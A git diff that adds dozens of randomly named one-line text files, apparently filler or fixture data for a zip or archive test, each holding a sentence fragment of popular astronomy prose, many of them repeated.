diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_vbgocgtzvfcsoduze.txt b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_vbgocgtzvfcsoduze.txt
new file mode 100644
index 0000000..0ad614f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_vbgocgtzvfcsoduze.txt
@@ -0,0 +1 @@
+present spaceships, with their robot crews, are the harbingers, the vanguards of future
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_wlhktngsmn.txt b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_wlhktngsmn.txt
new file mode 100644
index 0000000..0ad614f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_wlhktngsmn.txt
@@ -0,0 +1 @@
+present spaceships, with their robot crews, are the harbingers, the vanguards of future
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_wqqryaovfuddzdlmilccwu.txt b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_wqqryaovfuddzdlmilccwu.txt
new file mode 100644
index 0000000..0ad614f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_wqqryaovfuddzdlmilccwu.txt
@@ -0,0 +1 @@
+present spaceships, with their robot crews, are the harbingers, the vanguards of future
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_wvevfoyh.txt b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_wvevfoyh.txt
new file mode 100644
index 0000000..0ad614f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_wvevfoyh.txt
@@ -0,0 +1 @@
+present spaceships, with their robot crews, are the harbingers, the vanguards of future
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_yseussrp.txt b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_yseussrp.txt
new file mode 100644
index 0000000..0ad614f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_yseussrp.txt
@@ -0,0 +1 @@
+present spaceships, with their robot crews, are the harbingers, the vanguards of future
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_zspjivntyhcnei.txt b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_zspjivntyhcnei.txt
new file mode 100644
index 0000000..0ad614f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_zspjivntyhcnei.txt
@@ -0,0 +1 @@
+present spaceships, with their robot crews, are the harbingers, the vanguards of future
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/fstzmsjppbn.txt b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/fstzmsjppbn.txt
new file mode 100644
index 0000000..01ada9e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/fstzmsjppbn.txt
@@ -0,0 +1 @@
+with themes and counterpoints, dissonances and harmonies, a billion different voices
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/gcxdwfrufubbnfb.txt b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/gcxdwfrufubbnfb.txt
new file mode 100644
index 0000000..92a28e6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/gcxdwfrufubbnfb.txt
@@ -0,0 +1 @@
+stellar objects’). Because they are starlike in appearance, they were naturally thought to be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/goiophmqucvijvibiy.txt b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/goiophmqucvijvibiy.txt
new file mode 100644
index 0000000..37da3d5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/goiophmqucvijvibiy.txt
@@ -0,0 +1 @@
+where the inhabitants likened the explosion to the Sun rising in the West. A few hours later,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/hnvrlevjrbszeipgivfa.txt b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/hnvrlevjrbszeipgivfa.txt
new file mode 100644
index 0000000..dee6345
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/hnvrlevjrbszeipgivfa.txt
@@ -0,0 +1 @@
+Europa turns out to be as smooth as a billiard ball despite the network of lineations. The
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/hqflprhpifhrnipgwyyli.txt b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/hqflprhpifhrnipgwyyli.txt
new file mode 100644
index 0000000..32a41d3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/hqflprhpifhrnipgwyyli.txt
@@ -0,0 +1 @@
+amounts in the lower atmosphere. It is circulated up above the clouds, broken down by
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/ieegcckhfaqnpdfgckfww.txt b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/ieegcckhfaqnpdfgckfww.txt
new file mode 100644
index 0000000..6eb1872
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/ieegcckhfaqnpdfgckfww.txt
@@ -0,0 +1 @@
+Beyond the ultraviolet is the X-ray part of the spectrum, and beyond the X-rays are the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/mpzgwwuvsdhckd.txt b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/mpzgwwuvsdhckd.txt
new file mode 100644
index 0000000..c46f334
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/mpzgwwuvsdhckd.txt
@@ -0,0 +1 @@
+melts and changes color. The higher the temperature, the deeper the color. If the molten
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/mvixfbmctritbpmpf.txt b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/mvixfbmctritbpmpf.txt
new file mode 100644
index 0000000..6f5f54f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/mvixfbmctritbpmpf.txt
@@ -0,0 +1 @@
+triangles meet at each vertex, the octahedron; and n = 3, r = 5 represents a solid with 20
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/nttbctvrftwhhioqztiffo.txt b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/nttbctvrftwhhioqztiffo.txt
new file mode 100644
index 0000000..b123d91
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/nttbctvrftwhhioqztiffo.txt
@@ -0,0 +1 @@
+sun gods). Might the other chemical elements have somehow evolved from hydrogen and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/pbenyqkgfgqf.txt b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/pbenyqkgfgqf.txt
new file mode 100644
index 0000000..469c004
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/pbenyqkgfgqf.txt
@@ -0,0 +1 @@
+Imagine a time before science, a time before libraries. Imagine a time hundreds of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/phcacgmzrtgqpwj.txt b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/phcacgmzrtgqpwj.txt
new file mode 100644
index 0000000..1ebd69f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/phcacgmzrtgqpwj.txt
@@ -0,0 +1 @@
+of the humpback whales. We sent photographs of humans from all over the world caring
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/pkflygzoingkcoacxlqobaby.txt b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/pkflygzoingkcoacxlqobaby.txt
new file mode 100644
index 0000000..8ca0ae1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/pkflygzoingkcoacxlqobaby.txt
@@ -0,0 +1 @@
+Mars. What is necessary is a program of artificial selection and genetic engineering of dark
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/vgjbvpnkcmxgkbsxryusebr.txt b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/vgjbvpnkcmxgkbsxryusebr.txt
new file mode 100644
index 0000000..b3e077c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/vgjbvpnkcmxgkbsxryusebr.txt
@@ -0,0 +1 @@
+during the founding of the Library of Alexandria. We inhabit a universe where atoms are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/vorurpvmoxsktgoauscjnbcn.txt b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/vorurpvmoxsktgoauscjnbcn.txt
new file mode 100644
index 0000000..35181a3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/vorurpvmoxsktgoauscjnbcn.txt
@@ -0,0 +1 @@
+be true. Then we have reached a reductio ad absurdum. If the converse statement is false,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/xozkhldgdymeqcgg.txt b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/xozkhldgdymeqcgg.txt
new file mode 100644
index 0000000..9f8cdb5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/xozkhldgdymeqcgg.txt
@@ -0,0 +1 @@
+transmissions, has had time, even traveling at the speed of light, to go 200 light-years. From
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jwybtbdcvu/amazvwctysjjbmlcoiujl.txt b/big_zip/big-zip-files/folder_jwybtbdcvu/amazvwctysjjbmlcoiujl.txt
new file mode 100644
index 0000000..6fa436f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jwybtbdcvu/amazvwctysjjbmlcoiujl.txt
@@ -0,0 +1 @@
+self-destructive and otherwise abnormal characteristics. In humans the same is observed for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jwybtbdcvu/atlumbzlfkastti.txt b/big_zip/big-zip-files/folder_jwybtbdcvu/atlumbzlfkastti.txt
new file mode 100644
index 0000000..c1e0dcf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jwybtbdcvu/atlumbzlfkastti.txt
@@ -0,0 +1 @@
+South of England, they were, with few exceptions, everywhere below the freezing point of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jwybtbdcvu/cgmxdvqpndhrep.txt b/big_zip/big-zip-files/folder_jwybtbdcvu/cgmxdvqpndhrep.txt
new file mode 100644
index 0000000..4cece2f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jwybtbdcvu/cgmxdvqpndhrep.txt
@@ -0,0 +1 @@
+to the star, Jovians on the exterior - recognizably like ours are generated. Under other
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jwybtbdcvu/file_bqfjldnfqejorvtrvjspsxiy.txt b/big_zip/big-zip-files/folder_jwybtbdcvu/file_bqfjldnfqejorvtrvjspsxiy.txt
new file mode 100644
index 0000000..2c2c516
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jwybtbdcvu/file_bqfjldnfqejorvtrvjspsxiy.txt
@@ -0,0 +1 @@
+a sort of planets revolved in very eccentric orbits about the Sun.’ This demystification, this
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jwybtbdcvu/file_davnfktbrkrtyegwyvx.txt b/big_zip/big-zip-files/folder_jwybtbdcvu/file_davnfktbrkrtyegwyvx.txt
new file mode 100644
index 0000000..2c2c516
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jwybtbdcvu/file_davnfktbrkrtyegwyvx.txt
@@ -0,0 +1 @@
+a sort of planets revolved in very eccentric orbits about the Sun.’ This demystification, this
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jwybtbdcvu/file_iuwppixlcadoblqugwjikspx.txt b/big_zip/big-zip-files/folder_jwybtbdcvu/file_iuwppixlcadoblqugwjikspx.txt
new file mode 100644
index 0000000..2c2c516
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jwybtbdcvu/file_iuwppixlcadoblqugwjikspx.txt
@@ -0,0 +1 @@
+a sort of planets revolved in very eccentric orbits about the Sun.’ This demystification, this
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jwybtbdcvu/file_jimgpyvadhtgdptgqjy.txt b/big_zip/big-zip-files/folder_jwybtbdcvu/file_jimgpyvadhtgdptgqjy.txt
new file mode 100644
index 0000000..2c2c516
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jwybtbdcvu/file_jimgpyvadhtgdptgqjy.txt
@@ -0,0 +1 @@
+a sort of planets revolved in very eccentric orbits about the Sun.’ This demystification, this
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jwybtbdcvu/file_jpwmrzfdtbhifgjxtzw.txt b/big_zip/big-zip-files/folder_jwybtbdcvu/file_jpwmrzfdtbhifgjxtzw.txt
new file mode 100644
index 0000000..2c2c516
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jwybtbdcvu/file_jpwmrzfdtbhifgjxtzw.txt
@@ -0,0 +1 @@
+a sort of planets revolved in very eccentric orbits about the Sun.’ This demystification, this
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jwybtbdcvu/file_mpuewzwbglbhv.txt b/big_zip/big-zip-files/folder_jwybtbdcvu/file_mpuewzwbglbhv.txt
new file mode 100644
index 0000000..2c2c516
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jwybtbdcvu/file_mpuewzwbglbhv.txt
@@ -0,0 +1 @@
+a sort of planets revolved in very eccentric orbits about the Sun.’ This demystification, this
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jwybtbdcvu/file_nebhwmowxhfedlpwcnrjzax.txt b/big_zip/big-zip-files/folder_jwybtbdcvu/file_nebhwmowxhfedlpwcnrjzax.txt
new file mode 100644
index 0000000..2c2c516
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jwybtbdcvu/file_nebhwmowxhfedlpwcnrjzax.txt
@@ -0,0 +1 @@
+a sort of planets revolved in very eccentric orbits about the Sun.’ This demystification, this
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jwybtbdcvu/file_sgdeexdfehqtwilhaoooeq.txt b/big_zip/big-zip-files/folder_jwybtbdcvu/file_sgdeexdfehqtwilhaoooeq.txt
new file mode 100644
index 0000000..2c2c516
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jwybtbdcvu/file_sgdeexdfehqtwilhaoooeq.txt
@@ -0,0 +1 @@
+a sort of planets revolved in very eccentric orbits about the Sun.’ This demystification, this
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jwybtbdcvu/file_spdjevbupcemsvptwuewhfq.txt b/big_zip/big-zip-files/folder_jwybtbdcvu/file_spdjevbupcemsvptwuewhfq.txt
new file mode 100644
index 0000000..2c2c516
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jwybtbdcvu/file_spdjevbupcemsvptwuewhfq.txt
@@ -0,0 +1 @@
+a sort of planets revolved in very eccentric orbits about the Sun.’ This demystification, this
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jwybtbdcvu/file_vfdvfthqpdtzpbr.txt b/big_zip/big-zip-files/folder_jwybtbdcvu/file_vfdvfthqpdtzpbr.txt
new file mode 100644
index 0000000..2c2c516
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jwybtbdcvu/file_vfdvfthqpdtzpbr.txt
@@ -0,0 +1 @@
+a sort of planets revolved in very eccentric orbits about the Sun.’ This demystification, this
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jwybtbdcvu/file_vllurjhlzpxwpv.txt b/big_zip/big-zip-files/folder_jwybtbdcvu/file_vllurjhlzpxwpv.txt
new file mode 100644
index 0000000..2c2c516
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jwybtbdcvu/file_vllurjhlzpxwpv.txt
@@ -0,0 +1 @@
+a sort of planets revolved in very eccentric orbits about the Sun.’ This demystification, this
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jwybtbdcvu/file_wvnczaes.txt b/big_zip/big-zip-files/folder_jwybtbdcvu/file_wvnczaes.txt
new file mode 100644
index 0000000..2c2c516
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jwybtbdcvu/file_wvnczaes.txt
@@ -0,0 +1 @@
+a sort of planets revolved in very eccentric orbits about the Sun.’ This demystification, this
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jwybtbdcvu/file_yteygtabociautqaoyk.txt b/big_zip/big-zip-files/folder_jwybtbdcvu/file_yteygtabociautqaoyk.txt
new file mode 100644
index 0000000..2c2c516
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jwybtbdcvu/file_yteygtabociautqaoyk.txt
@@ -0,0 +1 @@
+a sort of planets revolved in very eccentric orbits about the Sun.’ This demystification, this
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jwybtbdcvu/gwckflrrvwbjthypyhnlxq.txt b/big_zip/big-zip-files/folder_jwybtbdcvu/gwckflrrvwbjthypyhnlxq.txt
new file mode 100644
index 0000000..938fffc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jwybtbdcvu/gwckflrrvwbjthypyhnlxq.txt
@@ -0,0 +1 @@
+Earth with no preconceptions. Your view of the planet improves as you come closer and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jwybtbdcvu/henmtqbcntgclgblzfers.txt b/big_zip/big-zip-files/folder_jwybtbdcvu/henmtqbcntgclgblzfers.txt
new file mode 100644
index 0000000..51a71c0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jwybtbdcvu/henmtqbcntgclgblzfers.txt
@@ -0,0 +1 @@
+knew about breathing, of course, and they thought the wind was the breath of the gods. But
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jwybtbdcvu/kdyurtmfgwouimeuzc.txt b/big_zip/big-zip-files/folder_jwybtbdcvu/kdyurtmfgwouimeuzc.txt
new file mode 100644
index 0000000..c17f391
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jwybtbdcvu/kdyurtmfgwouimeuzc.txt
@@ -0,0 +1 @@
+human species and our most recent burgeoning technology. It is, as much as the sounds of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jwybtbdcvu/lazklndqmuuztpzzseeaapxy.txt b/big_zip/big-zip-files/folder_jwybtbdcvu/lazklndqmuuztpzzseeaapxy.txt
new file mode 100644
index 0000000..308b575
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jwybtbdcvu/lazklndqmuuztpzzseeaapxy.txt
@@ -0,0 +1 @@
+component of Kepler’s early training. On the one hand, Kepler was convinced that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jwybtbdcvu/mtxaioplf.txt b/big_zip/big-zip-files/folder_jwybtbdcvu/mtxaioplf.txt
new file mode 100644
index 0000000..bf4e33c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jwybtbdcvu/mtxaioplf.txt
@@ -0,0 +1 @@
+Ancient Ones,’ gathered in their pews every June 21, dressed in feathers and rattles and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jwybtbdcvu/okrscozdydzc.txt b/big_zip/big-zip-files/folder_jwybtbdcvu/okrscozdydzc.txt
new file mode 100644
index 0000000..16d4701
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jwybtbdcvu/okrscozdydzc.txt
@@ -0,0 +1 @@
+with conventional scoring techniques, was found in essentially every site examined. A new
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jwybtbdcvu/oosyfebooajdhyiptceg.txt b/big_zip/big-zip-files/folder_jwybtbdcvu/oosyfebooajdhyiptceg.txt
new file mode 100644
index 0000000..a56df2c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jwybtbdcvu/oosyfebooajdhyiptceg.txt
@@ -0,0 +1 @@
+greenhouse effect due to its carbon dioxide and water vapor. The global temperature of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jwybtbdcvu/rlajdbenor.txt b/big_zip/big-zip-files/folder_jwybtbdcvu/rlajdbenor.txt
new file mode 100644
index 0000000..a5cd9ab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jwybtbdcvu/rlajdbenor.txt
@@ -0,0 +1 @@
+The second brightest star in the constellation Andromeda, called Beta Andromedae,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jwybtbdcvu/rouzoxwudvrkeheehcx.txt b/big_zip/big-zip-files/folder_jwybtbdcvu/rouzoxwudvrkeheehcx.txt
new file mode 100644
index 0000000..a5200d0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jwybtbdcvu/rouzoxwudvrkeheehcx.txt
@@ -0,0 +1 @@
+superstition. In his book Astronomiae Instauratae Mechonica, published in 1598, he argued that astrology is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jwybtbdcvu/rutabztkuchyxaklbjomt.txt b/big_zip/big-zip-files/folder_jwybtbdcvu/rutabztkuchyxaklbjomt.txt
new file mode 100644
index 0000000..4ad7622
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jwybtbdcvu/rutabztkuchyxaklbjomt.txt
@@ -0,0 +1 @@
+what a joy of recognition when we realize how like us they were!
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jwybtbdcvu/snqydkyv.txt b/big_zip/big-zip-files/folder_jwybtbdcvu/snqydkyv.txt
new file mode 100644
index 0000000..6d05b19
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jwybtbdcvu/snqydkyv.txt
@@ -0,0 +1 @@
+previously unknown mass to the universe as well. When the cosmic inventory is completed,and the mass of all the galaxies, quasars, black holes, intergalactic hydrogen, gravitational
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jwybtbdcvu/uavrfmvjnvpgricgmdtyvx.txt b/big_zip/big-zip-files/folder_jwybtbdcvu/uavrfmvjnvpgricgmdtyvx.txt
new file mode 100644
index 0000000..9c379d4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jwybtbdcvu/uavrfmvjnvpgricgmdtyvx.txt
@@ -0,0 +1 @@
+the dark beyond the red. The temperature rose. There was light falling on the thermometer
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jwybtbdcvu/wltsggqqxswldxcupmpg.txt b/big_zip/big-zip-files/folder_jwybtbdcvu/wltsggqqxswldxcupmpg.txt
new file mode 100644
index 0000000..69f5d31
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jwybtbdcvu/wltsggqqxswldxcupmpg.txt
@@ -0,0 +1 @@
+and length, but no height whatever. We know about left-right and forward-back, but have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/file_bctdnotldvbwc.txt b/big_zip/big-zip-files/folder_knqqchrayk/file_bctdnotldvbwc.txt
new file mode 100644
index 0000000..ff54693
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/file_bctdnotldvbwc.txt
@@ -0,0 +1 @@
+have been cooked by a kind of stellar alchemy billions of years ago in stars, some of which
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/file_dfnqiwdrxphmbzw.txt b/big_zip/big-zip-files/folder_knqqchrayk/file_dfnqiwdrxphmbzw.txt
new file mode 100644
index 0000000..ff54693
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/file_dfnqiwdrxphmbzw.txt
@@ -0,0 +1 @@
+have been cooked by a kind of stellar alchemy billions of years ago in stars, some of which
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/file_gbamgvmleszyyuyitjlydagv.txt b/big_zip/big-zip-files/folder_knqqchrayk/file_gbamgvmleszyyuyitjlydagv.txt
new file mode 100644
index 0000000..ff54693
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/file_gbamgvmleszyyuyitjlydagv.txt
@@ -0,0 +1 @@
+have been cooked by a kind of stellar alchemy billions of years ago in stars, some of which
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/file_gurykejiecuudfowlnzdpxoh.txt b/big_zip/big-zip-files/folder_knqqchrayk/file_gurykejiecuudfowlnzdpxoh.txt
new file mode 100644
index 0000000..ff54693
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/file_gurykejiecuudfowlnzdpxoh.txt
@@ -0,0 +1 @@
+have been cooked by a kind of stellar alchemy billions of years ago in stars, some of which
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/file_ildntcnamxdvnhdkbw.txt b/big_zip/big-zip-files/folder_knqqchrayk/file_ildntcnamxdvnhdkbw.txt
new file mode 100644
index 0000000..ff54693
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/file_ildntcnamxdvnhdkbw.txt
@@ -0,0 +1 @@
+have been cooked by a kind of stellar alchemy billions of years ago in stars, some of which
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/file_iryunxmyldfgedhsoc.txt b/big_zip/big-zip-files/folder_knqqchrayk/file_iryunxmyldfgedhsoc.txt
new file mode 100644
index 0000000..ff54693
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/file_iryunxmyldfgedhsoc.txt
@@ -0,0 +1 @@
+have been cooked by a kind of stellar alchemy billions of years ago in stars, some of which
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/file_jgbywrrsfzl.txt b/big_zip/big-zip-files/folder_knqqchrayk/file_jgbywrrsfzl.txt
new file mode 100644
index 0000000..ff54693
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/file_jgbywrrsfzl.txt
@@ -0,0 +1 @@
+have been cooked by a kind of stellar alchemy billions of years ago in stars, some of which
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/file_jvjrhmnwarnqu.txt b/big_zip/big-zip-files/folder_knqqchrayk/file_jvjrhmnwarnqu.txt
new file mode 100644
index 0000000..ff54693
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/file_jvjrhmnwarnqu.txt
@@ -0,0 +1 @@
+have been cooked by a kind of stellar alchemy billions of years ago in stars, some of which
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/file_mypyqlshxneactebqsxtc.txt b/big_zip/big-zip-files/folder_knqqchrayk/file_mypyqlshxneactebqsxtc.txt
new file mode 100644
index 0000000..ff54693
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/file_mypyqlshxneactebqsxtc.txt
@@ -0,0 +1 @@
+have been cooked by a kind of stellar alchemy billions of years ago in stars, some of which
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/file_ovtbolwxnguwo.txt b/big_zip/big-zip-files/folder_knqqchrayk/file_ovtbolwxnguwo.txt
new file mode 100644
index 0000000..ff54693
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/file_ovtbolwxnguwo.txt
@@ -0,0 +1 @@
+have been cooked by a kind of stellar alchemy billions of years ago in stars, some of which
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/file_oxxptyfseoftpcpcmivzbmjp.txt b/big_zip/big-zip-files/folder_knqqchrayk/file_oxxptyfseoftpcpcmivzbmjp.txt
new file mode 100644
index 0000000..ff54693
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/file_oxxptyfseoftpcpcmivzbmjp.txt
@@ -0,0 +1 @@
+have been cooked by a kind of stellar alchemy billions of years ago in stars, some of which
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/file_qjkyyyhgpone.txt b/big_zip/big-zip-files/folder_knqqchrayk/file_qjkyyyhgpone.txt
new file mode 100644
index 0000000..ff54693
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/file_qjkyyyhgpone.txt
@@ -0,0 +1 @@
+have been cooked by a kind of stellar alchemy billions of years ago in stars, some of which
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/file_taetgvxcipklbj.txt b/big_zip/big-zip-files/folder_knqqchrayk/file_taetgvxcipklbj.txt
new file mode 100644
index 0000000..ff54693
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/file_taetgvxcipklbj.txt
@@ -0,0 +1 @@
+have been cooked by a kind of stellar alchemy billions of years ago in stars, some of which
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/file_twofvjxgjnzbjkjfviirda.txt b/big_zip/big-zip-files/folder_knqqchrayk/file_twofvjxgjnzbjkjfviirda.txt
new file mode 100644
